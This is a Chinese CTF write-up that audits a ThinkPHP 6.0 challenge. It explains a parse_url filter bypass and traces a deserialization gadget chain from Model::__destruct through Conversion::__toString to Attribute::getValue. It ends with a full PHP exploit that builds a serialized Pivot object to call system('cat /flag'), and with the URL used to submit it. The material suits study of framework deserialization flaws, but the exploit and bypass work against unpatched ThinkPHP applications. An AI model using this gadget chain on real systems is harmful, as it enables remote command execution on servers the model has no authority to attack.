/www.zip下载源码审计
通过README可以看到是ThinkPHP6.0。
当前只能访问到/public/index.php,
关于这个框架的index.php 【thinkphp6源码分析一 】 最开始的地方 index.php - 转瞬千年 - 博客园
全局搜索一下unserialize,发现在app/controller/Index.php下存在着反序列化的地方。
存在过滤,通过parse_url的缺陷绕过: parse_url小结 - tr1ple - 博客园
- 在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false来bypass,参数中包含的payload依然存在
- compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据
同时payload参数可控,通过GET方式就能传递到。
接下来要找反序列的点,参考:[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 - op_hxc - 博客园 mysql 反序列化_从一道CTF题目中学习ThinkPHP反序列化_weixin_39710361的博客-CSDN博客 两篇博文进行审计
当然已经有大佬写了现成的工具https://github.com/wh1t3p1g/phpggc
不过还是希望能自己掌握框架代码审计这些代码量巨大的项目
全局搜索__destruct(),依次查看,Mongo处无法利用free,close都无法利用,只是释放参数,connection处同理。
看向Model.php,跟进save函数
不能让这返回false,即需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。看到isEmpty函数
this->data
不为空即可,跟进tigger:
让$this->withEvent为flase即可。
回到save函数,跟进upadteData方法。
protected function updateData(): bool { // 事件回调 if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); // 获取有更新的数据 $data = $this->getChangedData(); if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 检查允许字段 $allowFields = $this->checkAllowFields(); foreach ($this->relationWrite as $name => $val) { if (!is_array($val)) { continue; } foreach ($val as $key) { if (isset($data[$key])) { unset($data[$key]); } } } // 模型更新 $db = $this->db(); $db->startTrans(); try { $where = $this->getWhere(); $result = $db->where($where) ->strict(false) ->field($allowFields) ->update($data); $this->checkResult($result); // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } $db->commit(); // 更新回调 $this->trigger('AfterUpdate'); return true; } catch (\Exception $e) { $db->rollback(); throw $e; } } |
跟进这个checkAllowFields()
发现字符拼接,可被利用触发__toString。
进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];
同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。
所以为了能让这个方法被调用到,我们要让exists存在.
即 $this->exists =True
全局搜索toString魔术方法,在Conversion.php当中。
继续查看tojson这个函数:
跟进到toArray方法。
public function toArray(): array { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); } return $item; } |
再看到getAttr方法:
跟进getData方法:
进入到getRealFieldName方法:
如果$this->strict为True,返回$name。
此时再getData方法中:
$this->data[$fielName] = $this->data[$key]
此时再getAttr中就是: $this->getValue($key, $value, null);
跟进getvalue:
protected function getValue(string $name, $value, $relation = false) { // 检测属性获取器 $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { //$fieldName = a //withAttr[a] = system $closure = $this->withAttr[$fieldName]; //value = system(ls,) $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { if ($relation) { $value = $this->getRelationValue($relation); } $value = $this->$method($value, $this->data); } elseif (isset($this->type[$fieldName])) { // 类型转换 $value = $this->readTransform($value, $this->type[$fieldName]); } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { $value = $this->getTimestampValue($value); } elseif ($relation) { $value = $this->getRelationValue($relation); // 保存关联对象值 $this->relation[$name] = $value; } return $value; } |
is_array($this->withAttr[$fieldName])只要这里不成立就会触发到最后命令执行的点,即$this->withAttr[$fieldName]不为数组即可
最终是执行了system("ls", ["xxx"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的
最终利用链:
think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() think\Model --> db() 后半部分利用链(同tp 5.2后半部分利用链) think\model\concern\Conversion --> __toString() think\model\concern\Conversion --> __toJson() think\model\concern\Conversion --> __toArray() think\model\concern\Attribute --> getAttr() think\model\concern\Attribute --> getValue() |
Exp:
<?php namespace think\model\concern { trait Conversion { } trait Attribute { private $data; private $withAttr = ["xxx" => "system"]; public function get() { $this->data = ["xxx" => "cat /flag"]; } } } namespace think{ abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave; protected $withEvent; private $exists; private $force; protected $field; protected $schema; protected $table; function __construct(){ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->table = true; } } } namespace think\model{ use think\Model; class Pivot extends Model { function __construct($obj='') { //定义this->data不为空 parent::__construct(); $this->get(); $this->table = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b)); } |
http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=
提交即可